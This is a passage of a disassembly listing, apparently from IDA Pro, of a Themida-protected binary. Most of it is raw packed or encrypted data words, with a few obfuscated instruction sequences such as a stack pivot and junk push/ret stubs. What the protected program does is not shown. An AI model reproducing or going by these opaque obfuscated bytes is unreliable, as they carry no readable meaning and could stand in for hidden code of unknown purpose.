7D2FA622h, 609C8A3Eh, 4BFF3EF2h dd 64D819CCh, 42F631D5h, 63D70CB3h, 2D959468h, 0C96BDFD9h dd 0BD5C60ECh, 77324C1Eh, 6DCC7CCBh, 461A2F2Bh, 0FB9B2F43h dd 718BE767h, 0BD7042EAh, 0C8AC587Ch, 550ECDB3h, 79304E20h dd 94201DC9h, 0A21C312Dh, 114E01B8h, 0AA1CF865h, 8343E53Fh dd 1AD18A5Fh, 35C431E5h, 721E550Bh, 11F8D2EEh, 9E109240h dd 0A5BD2A06h, 6B403A9Ah, 66A2ABBh, 0FFAF0000h, 0D37900BCh dd 0F499209Ch, 0D378FFBBh, 0F1932296h, 0F410F6B2h, 27A3E286h dd 0BCFDB0h, 1E9AD579h, 0FFBBF097h, 0C979300Ch, 2D6BDFDAh dd 0BD5CE4B0h, 45D4C1Eh, 8067FB9Ch, 0EEDB14B9h, 3DF3376Ch dd 54462301h, 6D806D8h, 203EBF03h, 0FEDB5794h, 87598E35h dd 1FD30EB4h, 29B02643h, 6C594D82h, 0A2BC8E4Dh, 203E5BE7h dd 8D5FBB94h, 203E249Eh, 8764C094h, 0D9D0BA71h, 6C929E17h dd 14DE05BDh, 6885E19Eh, 15A4B6B2h, 0F685396Eh, 976C184Dh dd 8A815B80h, 9424A7B5h, 8468D551h, 0AA5E2E8Fh, 5C2E9FAh dd 67070000h, 7B31A824h, 5C118844h, 7B30A723h, 590B8A3Eh dd 5CA89E1Ah, 7F3B7A2Eh, 981455F8h, 76326D21h, 971348FFh dd 61E1C8B4h, 856BDFDBh, 79329C28h, 0FDAF2A44h, 794ED2BEh dd 20550E8Dh, 1BC057ACh, 11614A41h, 0C9A567FCh, 447D24B7h dd 5B943950h, 0D2A7CBA7h, 973985D4h, 64DC9423h, 8CAEC767h dd 4C214B3Bh, 0D41DD877h, 0B4397B7Bh, 44h, 215A0FCAh, 0A9D7804Ch dd 0CC7C4002h, 792DA46Dh, 0B845223Eh, 0E9A0BA21h, 67FC7CC8h dd 8A913F2Ch, 0D70E85C6h, 70240002h, 23FA9D29h, 0AC438094h dd 7BAF8849h, 0BF6839h, 55960000h, 879377C8h, 2400DD57h dd 50447932h, 86589739h, 7C11B158h, 79F56DCCh, 7C1EA467h dd 7AF66DCCh, 812AA15Dh, 8A41584Ch, 0A532D955h, 9A6DCC00h dd 0E126B3F1h, 0BBD5935h, 0A34615E7h, 4AD18562h, 4BB86CA1h dd 6E1D2FACh, 980318ADh, 461DD59h, 1514E6F5h, 9E15B025h dd 0D08B65C1h, 659E431Bh, 0E591B5B1h, 0EC21CA81h, 391F3C38h dd 1B8FCE82h, 44A9E89Ch, 403A5B56h, 95BB2CF8h, 0DA000004h dd 0C239F538h, 0E057D30Ah, 0BD3CF029h, 8A11CD0Ah, 3533A7E6h dd 0AAE99BC9h, 0C506A72Eh, 0A1DC9209h, 0C0F5AE2Dh, 6C1F210Ch dd 6BDFD4D6h, 32EBB12Eh, 0C8B3F7Eh, 0A2E18353h, 0DA4E72EEh dd 1EBD5C4Ch, 7C745D4Ch, 7B7067FCh, 2D9BBFBCh, 6416335Ah dd 0F14D1C08h, 14943CA8h, 0CC25C05Fh, 3C397A61h dd 998DCA7Dh, 0BD08C09Dh, 82000000h, 2A447932h, 36F82541h dd 3B0EAA7h, 74EC58D8h, 7F7F5C78h, 71256408h, 0CCD8AD2Ah dd 0B4E9A26Dh, 95CA81F8h, 14CC8FE1h, 6CA95EDDh, 3E9FBCB8h dd 5F4A24B7h, 67FCDB9Ah, 277C302Ch, 7A314B90h, 9E0A70A1h dd 0E917E945h, 9980BD72h, 9E127029h, 647C51CDh, 38F433D5h dd 2FDA0FC1h, 9E127093h, 6EDBF773h, 40381B9Ah, 0B9970014h dd 0FE000003h, 0C655094Ch, 0E473E71Eh, 0D148043Dh, 0EE6DE11Eh dd 493FFB3Ah, 0DE1DCF3Dh, 0F93AEB6Ah, 0D510B645h, 0F429E259h dd 0C06B5538h, 6BDFD502h, 323F05E2h, 0AE2D3F7Eh, 61E1C8F7h dd 856DCC7Ch, 5DD9CDA9h, 883FB680h, 2BD712B8h, 19AF2B47h dd 225F04D7h, 5ED5F26Eh, 9AA67A5h, 0BBDB0AB1h, 0C9ADC90Ah dd 30D863DDh, 4D910AF0h, 896DA8FBh, 0F7C4999Dh, 5B571250h dd 0EC05208h, 0CBE27632h, 52F09BC5h, 0B26DCC5Eh, 1249FFB6h dd 98E5025Eh, 5E805A81h, 3E17156Dh, 0FEADDFBBh, 6DCC5F44h dd 0D1A7C4A0h, 0FC0349DAh, 0DFF16D67h, 8D6AA75Ch, 0D5519C2h dd 0C5547876h, 0C3B7980Dh, 2DAC09B4h, 0EC483C7Bh, 0CE33F608h dd 0A8324657h, 0D366D8CCh, 2CFEF231h, 6635C57Dh, 21452122h dd 0C11AB94Ch, 0C8DCFCAFh, 48242851h, 0C7FCA336h, 92442913h dd 0E9E9CD42h, 0EF684E7Bh, 5AE10AEFh, 0D80DB67Dh, 7035AB73h dd 881105FAh, 2B0h, 961255F5h, 7632691Fh, 9D114AFFh, 0B02C691Eh dd 94488729h, 54F86A96h, 6F229915h, 47FB7A2Eh, 22C9500Ch dd 827E71EDh, 0DFD63B87h, 36FEDB6Bh, 2A447932h, 8D6FCA41h dd 0ED0A2456h, 0A635C431h, 0A25CD5D4h, 0E15867FCh, 953AF12Eh dd 0B3C8AC58h, 0C4CB6AEFh, 377C318Ch, 0AAFB9F1Bh, 314B9027h dd 0CADE97Ah, 96110D9Eh, 9E8255E5h, 0D605145Bh, 598E3504h dd 49825C84h, 36CD158Ah, 0F4AB2A15h, 1AABFh, 0E650AD41h dd 0C2653BEFh, 0B1959185h, 918561C5h, 2B661C9Fh, 7FDEFB77h dd 0A2896378h, 56BABABAh, 0E2FCCE4Ah, 5D7AB157h, 44F82DD6h dd 74D90EB5h, 98CBA2A0h, 0F18D160Eh, 36000001h, 5EDD5194h dd 3CBB6FA6h, 9904C85h, 26B52966h, 0A1874382h, 1655F765h dd 317213A2h, 0D48FE7Dh, 0EC21CA51h, 88837D70h, 6BDFD63Ah dd 3237FDDAh, 63504479h, 0B6758754h, 67FC1239h, 468759D5h dd 0B859A874h, 0C2A78B77h, 2542531Ah, 3CBD0DB1h, 522C3E9Dh dd 0FD2A5A19h, 0E0FD956Bh, 13DFBE23h, 8B41589Eh, 0FCD817B9h dd 0B4AE5DD8h, 2E4704B3h, 9F67B43Dh, 0C9EEA66Eh, 0C96429F3h dd 3BCA9F5Ah, 532D3F9Ch, 0F6AADF88h, 0CB08BB7Ah, 857E5BD7h dd 5D10857Ch, 508F41F8h, 0F7AB877Bh, 92C44885h, 2BA83D97h dd 0B328AF4Eh, 52CAF299h, 0DE3A5327h, 60974D0Ch, 31279B8Eh dd 63BF4305h, 40E77286h, 0EE6D4F0Bh, 2A06FA3Bh, 9FDD864Dh dd 9835BF1Eh, 0F99FCCB5h, 0B7E55E7Bh, 38EE5B77h, 769D2F36h dd 10A359Eh, 9F4F0000h, 0B359E05Ch, 9439C07Ch, 0B358DF5Bh dd 9133C276h, 94F0D652h, 0C783C266h, 0E05C9D50h, 0BE7AB559h dd 0DF5B9037h, 0A91910ECh, 4D6BDFD7h, 7932C450h, 54635044h dd 0EEE1657Eh, 3AF1136Fh, 0CBA75B92h, 0D9D6D5A7h, 0F567FC4Bh dd 2ED46779h, 581AFFF3h, 0F48D07A2h, 5CE2F7DBh, 4010B782h dd 55724E8Bh, 10EAF108h, 0B9F7519h, 0EF11EF9Eh, 1018863Ch dd 13025E9Eh, 9E1018AFh, 0E090C980h, 0AEB36784h, 7EC6E08Dh dd 0E02DEC7h, 1F9BD077h, 90C57E3Dh, 0F06B80E4h, 87C46737h dd 0C7BB979Bh, 70440BA0h, 48E7B8D2h, 0D91ACB8Eh, 0A734492Dh dd 880FCB00h, 0DFF6AADFh, 5EDDEF2Ch, 908E6BAAh, 0FFB12806h dd 7918ABC0h, 0FAE40FB8h, 0B044B30Fh, 30D753C2h, 0C2B04492h dd 0C9BDF6ABh, 9DB9B56Dh, 1752F8C3h, 6CF2076Bh, 150136EDh dd 0A8E8A01Bh, 4A2B3028h, 422E1274h, 0D6009DEh, 60000000h dd 0D2378B7Eh, 53CFC2B0h, 6D5FAE76h, 493D8032h, 0B0649952h dd 463A7519h, 0A95D9E4Fh, 533F7E32h, 0A5519034h, 50448126h dd 0A75B9439h, 55417830h, 17D68CFh, 34890000h, 0E1895124h dd 4C181h, 0E9810000h, 4, 5C240C87h, 52240489h, 0C281E289h dd 4, 8704EA83h, 895C2414h, 0BD55241Ch, 613A12Eh, 89EF8957h dd 545D5FF8h, 81241C8Bh, 4C4h, 0B9515000h, 562F718Fh, 4244C31h dd 8438F59h, 8F087381h, 0FF562F71h, 815B2434h, 4C4h, 24048B00h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5534D8 ; --------------------------------------------------------------------------- dd 0CD587F5Fh, 0C4D5D099h, 2E3CCDCDh, 13AD12B8h, 0FFC50306h dd 314AFAE0h, 445ABD7Fh, 42DD8D2Ch, 6AD3131Dh, 519A0858h dd 0AD316051h, 4588D179h, 39C7CB63h, 3A4DF776h, 57982665h dd 9F9A716Dh, 2D57BB4Ch, 0E6179D67h, 9B27D70Ch, 6E1A4438h dd 2D109511h, 148E95Eh, 500000h, 540000h, 580000h, 5C0000h dd 600000h, 640000h, 680000h, 6C0000h, 0B00000h, 0B40000h dd 0B80000h, 0BC0000h, 0C00000h, 0C40000h, 0C80000h, 0CC0000h dd 0D00000h, 0D40000h, 0D80000h, 0DC0000h, 0E00000h, 0E40000h dd 0E80000h, 0EC0000h, 38h dup(0) dd 62BA0000h, 50EB0058h, 858D00A1h, 613ADEFh, 11D59D33h dd 85890610h, 613AF2Fh, 11F19529h, 85C60610h, 61023E5h dd 0F2815254h, 5CE29294h, 0F6A16859h, 0FA8BDA0Fh, 88243481h dd 8B346D9Eh, 100CA9B5h, 45B5FF06h, 8B06101Dh, 10096595h dd 7DBD2B06h, 8D061005h, 13858A85h, 85896006h, 6100845h dd 8F0F53h, 59000000h, 14E961h, 5C1C0000h, 0CF4B4863h dd 87D89017h, 5A7E10F6h, 0C70C6F1Dh, 0D0FFE003h, 6810Fh dd 0B5030000h, 61005D9h, 0AF338589h, 958B0613h, 6102F29h dd 44E9h, 559D8B00h db 1Bh, 10h, 6 byte_586443 db 56h ; DATA XREF: Themida_:0054BCA0o ; Themida_:0054C1A0o ... dd 0AF2FB58Bh, 6890613h, 0AF2F8583h, 5E040613h, 0B58D60C3h dd 613ADEFh, 6A560FEBh, 0FF36FF00h, 13AF3395h, 0C6835E06h dd 3E8304h, 0C361EC75h, 8E9h, 930AAF00h, 9F7F42Dh, 0EA858D02h dd 0F0613AFh, 0C8Bh, 6890F00h, 8B000000h, 102E95BDh, 0D1858906h dd 0EB06102Ah, 251C8F4Fh, 0A108ABFAh, 0A4ACDAC6h, 5CD2D41Ch dd 0CE00E45Ch, 1BF53134h, 29B327CEh, 0DD5B34D1h, 17E62AC7h dd 34DF1BCEh, 0A6DB67h, 475D2Fh, 0D5A3EA1Ah, 0 dd 0FECA199Ch, 0FE4A0000h, 0FBh, 52DDB487h, 9ED92023h dd 77E7339Ch, 1124E9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1804h, 0C3524200h, 966262B6h db 22h byte_586515 db 83h, 0BDh, 9 ; DATA XREF: Themida_:0054BA18o dd 61022h, 30850Fh, 0BE90000h, 0B8000000h, 0EF84C81h, 5C2AC205h dd 0B88931h, 89000000h, 102941B5h, 41BD0306h, 0C2061031h dd 9D010004h, 61008DDh, 1EA58589h, 0C08B0610h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 23C35343h, 335D8D8Bh dd 95290610h, 6102945h, 158DBD83h, 75000610h, 95BD8309h dd 61000h, 53501374h, 0D0B8C08Bh, 8D000004h, 12B5E99Dh dd 5BD3FF06h, 95BD8358h, 61000h, 53501174h, 4D0B8h, 369D8D00h dd 0FF0612B5h, 6A585BD3h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 15042444h, 46000000h, 0E3BBC356h, 0FF98B66h dd 0C08BFABFh, 23C78166h, 6E81Ah db 2 dup(0) word_5865EA dw 3BD5h ; DATA XREF: Themida_:0054E578o dd 0B0E79F40h, 8F0Fh, 8D590000h, 13B07985h, 0D78B6606h dd 310D8D89h, 8B900610h, 0E86050F8h, 0Fh, 5D012DCEh, 0DFE0AD7Dh dd 0D45533BCh, 0BE5428CBh, 7F48EF00h, 61F28B5Ah, 56006A90h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 858D3FA6h, 613B036h, 2820Fh, 0C0B10000h, 0D38B6650h dd 6A240489h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 0CC7BC351h, 0F2442EE4h, 0F680C681h dd 7995FF91h, 6A061009h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1A042444h, 46000000h, 581AC356h, 0F281665Eh dd 0C9D5809Ch, 26E98166h, 24448B5Dh, 0B1DE8004h, 0B0618589h dd 6A0613h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h dd 57470000h, 0AF41D4C3h, 0F9FDD58h, 448BFBBFh, 0BD2B0824h dd 6102935h, 16A19D89h, 85890610h, 613B075h, 75BD83F8h dd 61007h, 0C1850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 160424h, 55450000h, 0FE9AB1C3h, 23E585C6h dd 0E8470610h, 4, 0D49AA7D2h, 7C44BF50h, 448B1E90h, 89B50424h dd 4489008Bh, 0BF660424h, 6A58BAA0h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 0F52C355h dd 958BFFBFh, 61010D5h, 1D45B5FFh, 8B660610h, 8A858DD7h dd 60061385h, 0CE9h, 0F7805200h, 0B9928945h, 90C5CA93h dd 8D9D09C6h, 6106101Bh, 958BD0FFh, 6100B39h, 7758589h dd 6A0610h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h dd 50400000h, 0B80A32C3h, 837A4B55h, 100D85BDh, 850F0006h dd 0DBh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 19h, 98C35141h, 0CCA68A0h, 8E9D0h, 6EF70000h, 23A468Dh dd 0DA815A64h, 6EF074E2h, 23E585C6h, 8A470610h, 61BD8BD3h dd 6806101Bh, 0EACDBA0h, 42240481h, 8B7B62DAh, 45B5FFCAh dd 6A06101Dh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 36BBC356h, 6AC3A376h, 2976B6CAh dd 10201595h, 8A858D06h, 0E8061385h, 11h, 66A12667h, 7DB727D2h dd 0F314708Fh, 0C58010D8h, 5964B61Eh, 95B9BA66h, 8589D0FFh dd 61006F5h, 0D858589h, 6A0610h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 1C25F4C3h, 0D2A429F2h dd 458529EDh, 83061008h, 102FB5BDh, 850F0006h, 9Ch, 0C6FE8B66h dd 1023E585h, 85895606h, 61022B5h, 0E212E068h, 0AE997h dd 0DBB50000h, 1FB96EDh, 0BB82CDE3h, 0D9243481h, 8943FD7Fh dd 1018F995h, 45B5FF06h, 6A06101Dh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0F3CFC351h dd 28A0Fh, 0CCB20000h, 858A858Dh, 9D890613h, 6100EE5h dd 0B70FD0FFh, 0B58589D1h, 6A06102Fh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 4E70C351h dd 7EBF6664h, 958B3A0Fh, 6102EA1h, 23E585C6h, 6A6C0610h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h dd 42000000h, 0D35FC352h, 1CD0EAC8h, 8A0FDECFh, 0Fh, 0AE9h dd 0D9593F00h, 8FEB96DDh, 0E86EF41Eh, 4, 0DB057083h, 0FE8h dd 60D79900h, 3268F8D6h, 1592ADE7h, 2EF20BD4h, 14E95250h dd 98000000h, 3BF84F84h, 0D7593545h, 80902F20h, 6A482C45h dd 0FD4FC01h, 0A80EBF31h, 585A40C0h, 800F505Fh, 4, 697CB966h dd 424448Bh, 0B557008Bh, 44895FACh, 7ABF0424h, 581F3CC2h dd 50F7BBFh, 99B5FF37h, 6A061014h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0DA0EC351h dd 5E9h, 2C82E400h, 858D9CFFh, 6103A32h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 1Dh, 4EC35545h, 64C14829h dd 6047B113h, 1D952366h, 0FF061002h, 52006AD0h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 0B4B201A7h dd 0B0658589h, 0EE90613h, 8000000h, 8DDE43F6h, 884117B6h dd 0D66D7201h, 81BD83E3h, 613B0h, 8A850Fh, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 0EEDF42C3h, 23E585C6h, 6A490610h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 3ACC357h dd 0DD70CEF7h, 8B661EE7h, 364568D1h, 0B966F69Ch, 34818A11h dd 891FAC24h, 99B5FF7Ah, 0F061014h, 68Fh, 1DBD0100h, 8D061022h dd 103A3285h, 0FD0FF06h, 686h, 51BD0100h, 89061020h, 13B08185h dd 0D2B70F06h, 6A046Ah, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 153435C3h, 22F78166h, 0DDA86816h dd 9E98F1Ah, 66000000h, 0D5470CEFh, 54019261h, 58240481h dd 2970E532h, 103071B5h, 6D8D0106h, 0E8061010h, 4, 10000h dd 8B525060h, 0B5310FD0h, 50585A58h, 0FC38B52h, 5AF08B31h dd 50506158h, 0FA8B6652h, 8B66310Fh, 8B585AFBh, 0E8042444h dd 11h, 2E2BD4F5h, 368D5EA1h, 79F1D2C0h, 0D58DF758h, 0CE8B661Fh dd 0F008B59h, 118Fh, 9E800h, 590E0000h, 1AE799BAh, 53FEE225h dd 44895A5Ah, 66510424h, 5A4BE2B9h, 6AF558h, 0C519529h dd 95FF0610h, 6101F01h, 89F88B66h, 13B07185h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 0C1E7669Ch, 8B95E409h, 10015D95h, 8D8B5006h, 61007A9h dd 6985C75Fh, 613B0h, 33000000h, 101DE9BDh, 89006A06h dd 10236995h, 0CB706806h, 5B53BA8h, 70243481h, 0F93BA9CBh dd 8931B550h, 9D292404h, 6100051h, 6A0B6Ah, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 586CADC3h dd 0CE4D0EB0h, 314E830Eh, 101BB585h, 12E906h, 0C4C80000h dd 7ED6FE16h, 0CD14CAC0h, 29BEB81Dh, 0DDDFC758h, 0B03E858Dh dd 880F0613h, 6, 8ABC281h, 17B94223h, 5073EAF4h, 6E8h dd 0F6D50A00h, 0F4BF756h, 288h, 5F5F5700h, 81240489h, 7B6DB7E7h dd 7595FF0Dh, 6A061007h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1D042444h, 40000000h, 69ACC350h, 0A690E586h dd 69CD28FAh, 12E8h, 77FDA500h, 4E005C4Bh, 2F018F74h, 598889ABh dd 0E9304FACh, 11h, 2B775DC3h, 0F75BA6A3h, 57FC4A36h, 1525DF5Fh dd 0B58D5F0Dh, 613B048h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ch, 0A5C35141h, 6DCA2BC0h, 0C13D989Eh, 48B0Fh dd 0BF660000h, 0BF50010Fh, 6B026B4Bh, 8B243489h, 1020B9BDh dd 60605006h, 310F5250h, 11E9585Ah, 8A000000h, 859856C1h dd 0E0AF595Dh, 0B7B84CC1h, 510DD204h, 0F525061h, 8Dh, 5A310F00h dd 4896158h, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1704h, 0C3554500h, 4DA9BA09h, 11A18D8Bh, 95FF0610h dd 6100D85h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Dh, 0F1C35343h dd 456AE418h, 0D1503E8Eh, 0AD8D8B1Bh, 0B06100Dh, 21850FC0h dd 0B9000000h, 6A948D78h, 612E9h, 7E800h, 0C73B0000h, 31E0BF48h dd 35BB60C5h, 0F4DE36Dh, 5F61CFBFh, 6AD0FFh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 180424h, 51410000h, 0A108DAC3h dd 8D098F30h, 6101AC5h, 0B071B58Bh, 0BD8B0613h, 610109Dh dd 0E920468Dh, 6, 3709F23Ch, 46AB0CEh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ch, 50C35242h, 0A9E6E883h, 57F987A1h dd 239BD8Bh, 60900610h, 78A1B960h, 5B5018DDh, 8B525061h dd 60310FC8h, 61585A61h, 0AE95050h, 7000000h, 536E654Fh dd 8C72A618h, 0E9905A2Ah, 0Dh, 0CF058D27h, 4CDCADA1h, 55A33045h dd 8195FF04h, 0F80613B0h, 840FC00Bh, 14h, 12818D8Bh, 8B660610h dd 535E9C8h, 95890000h, 610200Dh, 207E80h, 525840Fh, 0F7810000h dd 49F100B0h, 57006A60h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1C04h, 0C3574700h, 0D8E0D0DEh, 0D5383C77h, 718D331Ch dd 8D06102Eh, 85892046h, 613B06Dh, 1C258D89h, 13E90610h dd 40000001h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Dh, 35C35141h, 73485BA1h, 0DE9829FEh, 810F5074h, 2 dd 489FA8Bh, 75B52924h, 8906100Dh, 103069B5h, 8B046A06h dd 100901BDh, 91BF5006h, 8904C8B9h, 6A2404h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1B0424h, 50400000h, 0C73172C3h dd 0C08A452Eh, 0D18B66E6h, 0B08195FFh, 0E7810613h, 3D33903Dh dd 6AD88Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h dd 50400000h, 35B1BBC3h, 52006A58h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1C04h, 0C3524200h, 8CE0C462h, 0DD55F2B0h dd 0AE9BAh, 0B4470000h, 908EFF8Eh, 5F710269h, 0BC9B70Fh dd 33840FDBh, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 5C3C356h, 4EBBAC65h dd 334B9BDh, 100649BDh, 3D1E906h, 0BA660000h, 3880D0E2h dd 0E4850F00h, 6AFFFFFEh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 18042444h, 42000000h, 3AF4C352h, 66F13338h dd 0E92ED2BAh, 7, 6D8D8948h, 3B06100Fh, 13B06D85h, 61820F06h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 18042444h, 41000000h, 5A77C351h, 0F1A5F6Ch, 0BD8BFEB7h dd 6101675h, 0F5C3880h, 2F84h, 0CBBF0F00h, 0F2F3880h, 0FFFFAF85h dd 55006AFFh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h dd 0C3554500h, 0BD89F9CDh, 61007F5h, 83D18B40h, 13B075BDh dd 840F0006h, 19Ch, 2AD5BD2Bh, 0F500610h, 584h, 22A6BA00h dd 48979A4h, 50006A24h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1C04h, 0C3504000h, 0DFDAC3D3h, 560A58F6h, 51F98BD3h dd 998D8Bh, 35A0610h, 13B07585h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 96673CD4h dd 0AE2D7DDDh, 218D3362h, 5006101Eh, 7E852h, 0C34C0000h dd 918C6F9Dh, 7E936h, 72AB0000h, 0E35EDFh, 89595FCFh, 6A2404h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h dd 1F686C3h, 6AFE8B66h, 56006A04h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1C04h, 0C3564600h, 33D047E1h, 7478B4A9h dd 19958901h, 8B061016h, 102D458Dh, 0D58A9006h, 0DE809050h dd 8195FF33h, 0B0613B0h, 102E81BDh, 2BD88B06h, 10099195h dd 9D895806h, 6102055h, 29358D8Bh, 0DB0B0610h, 23840Fh dd 0F500000h, 48Fh, 0E4BF6600h, 0F0E9594Ch, 0F000001h dd 686h, 0E59D8900h, 9061010h, 100509BDh, 0C606h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 18h, 90C35040h, 8A94379Fh dd 6A58CA8Bh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 18042444h, 42000000h, 0B55CC352h, 0E919763Ch, 0Bh, 0DFB8A45Fh dd 57BD7484h, 60096656h, 31618509h, 8B660610h, 0EF8A61D8h dd 0D08B6650h, 66240489h, 1E6AD18Bh, 2D85BD8Bh, 50900610h dd 60525052h, 0BF310F61h, 7CE1F04Ch, 310F585Ah, 8E951h dd 684B0000h, 0DAAB4ACFh, 5A5F9FF7h, 0EE85058h, 0B7000000h dd 0A4F6C3CFh, 5BD874A1h, 9F1C80F1h, 59FA8BE3h, 0FFCB8B90h dd 13B08195h, 0D88BF806h, 0A18D2358h, 0B06100Eh, 10840FDBh dd 66000000h, 7AD7E981h, 10AE9h, 55B58900h, 50061010h dd 310F5250h, 585AD08Bh, 0E8240489h, 0Ah, 37136261h, 0DF7B52A8h dd 0E96046E1h, 6, 0FD06FFD6h, 95315A5Ah, 6101B35h, 0B5FF5961h dd 613B061h, 7D9D8960h, 0B4061022h, 95FF619Ch, 613B065h dd 1561958Bh, 0C00B0610h, 99850Fh, 9D310000h, 6100691h dd 51006A61h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 0EB14288Bh, 0C5858960h, 0B6061022h, 958B615Dh dd 61004D5h, 0B06985C7h, 10613h, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 150424h, 53430000h, 66CC55C3h dd 9B21C981h, 4AE9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1B04h, 0C3574700h, 755FCDEEh, 26FCABD4h dd 6E9h, 44F57C00h, 66B8DD33h, 61B6A0BAh, 81FA8B66h, 11CC6h dd 0C9B70F00h, 0FFFA3FE9h, 0E98D8BFFh, 0E806102Ah, 4, 8000h dd 47BA5160h, 5911FF93h, 506188B7h, 448BD08Bh, 8B660424h dd 60008BD3h, 9655AFBFh, 2820F3Ch, 0B5000000h, 44896153h dd 830F0424h, 2, 6A589BB1h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 15042444h, 45000000h, 110CC355h, 0F1FF280h dd 6AF8B7h, 41A3BF66h, 0B071B5FFh, 810F0613h, 4, 160BB966h dd 2FB595FFh, 6A0610h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1D0424h, 50400000h, 0EFB1ABC3h, 71D3B6E1h, 666F513Eh dd 8B35CBBAh, 13B06985h, 90B4B106h, 0E950D18Ah, 10h, 31CDE04Bh dd 2F1A9188h, 0B682D6AAh, 0BEEFC83Eh, 0C9953390h, 8D061030h dd 13B07985h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1504h, 0C3564600h, 8B66F35Eh, 11E890CAh, 58000000h dd 0C891E620h, 7438F5E8h, 0F82DCF41h, 0B9C6DD09h, 5FD68B66h dd 9FB59050h, 0B036858Dh, 8D890613h, 61015EDh, 901BD33h dd 8B900610h, 1CB550F8h, 95FFFC90h, 6101E99h, 0B458D8Bh dd 8B660610h, 0FC08BF9h, 0BD83CAB7h, 610158Dh, 83097500h dd 100095BDh, 13740006h, 0C08B5350h, 4D0B8h, 509D8D00h dd 0FF0612B6h, 83585BD3h, 100095BDh, 11740006h, 0D0B85350h dd 8D000004h, 12B54F9Dh, 5BD3FF06h, 14E858h db 2 dup(0) word_5875A2 dw 8F88h ; DATA XREF: Themida_:0054B4ECo dd 755E19D5h, 1545DB8Dh, 4B3B962Dh, 0A01B9070h, 0BD0B1A15h dd 61014E5h, 52006A5Fh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1804h, 0C3524200h, 0B2974AF3h, 13E9BAh, 6DB30000h, 1648A8EDh dd 0F9E22E1Ah, 48B38B64h, 0DD93BABBh, 66C08B58h, 0ACA6D181h dd 961BA58h, 8B600D82h, 1013F9B5h, 0E7EB8106h, 617DA6F8h dd 310008C2h, 102ABDB5h, 6AC08B06h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 8D12C353h dd 13B0AA85h, 5E906h, 669B0000h, 89EE3E64h, 1005AD85h dd 75E906h, 66600000h, 4A8D88Ch, 35840Fh, 16A0000h, 1499B5FFh dd 858D0610h, 613858Ah, 8589D0FFh, 6101F35h, 0EFC1FE8Bh dd 680Ch, 6A2004h, 6857026Ah, 1000Dh, 1F3595FFh, 32E90610h dd 0C6000000h, 1023E585h, 0DF685606h, 0FFA9C530h, 101D45B5h dd 8A858D06h, 0FF061385h, 618589D0h, 8D061012h, 101DAD85h dd 206A5006h, 0FF56056Ah, 10126195h, 0C1C36106h, 39EB06E0h dd 0C10000h, 0C102CCh, 0C102E4h, 0 dd 4807F419h, 791EF8F1h, 2D0FF032h, 4004F4DAh, 410EB3BBh dd 79249D07h, 2D26D1F1h dword_5876F8 dd 5D25E994h, 453EF308h, 490BF8C4h, 2D00FD5Bh, 